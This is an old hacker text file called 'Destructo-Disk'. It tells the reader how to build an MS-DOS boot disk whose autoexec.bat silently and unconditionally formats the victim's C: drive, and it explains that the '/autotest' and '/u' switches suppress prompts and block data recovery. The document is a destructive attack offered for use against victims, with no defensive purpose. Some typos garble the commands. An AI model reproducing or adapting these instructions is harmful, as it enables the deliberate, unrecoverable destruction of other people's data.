--+++++++++++++++++++++++++++-- |------------------Destructo-Disk--------------------| |----------------- By Digital Misery-----------------| --+++++++++++++++++++++++++++-- Effect: Victims computer is formatted and all data replaced with '0,' so that data recovery programs are useless to repair the damage. Procedure: Using MS-DOS's Format.com, create a boot disk format.com a: /s Copy format.com onto the newly created disk. copy format.com a: Using Edi, create a batch fie with the foowing data, and save it onto the boot disk as sutoexec.bat. echo off cd a: format c: /autotest /u How it works: Boot disk is inserted in victims computer. The next time the computer boots, if the disk remains in, the boot disk is loaded. The autoexec.bat file, and the commands contained within it are executed. The first two commands prepare for the third. The command will format the specified drive letter, in this case, drive C. the /Autotest parameter causes the command to be performed without user intervention. the /U command calls for an unconditional format, which replaces all data with '0's, so recovery is impossible. -DigitalMisery-
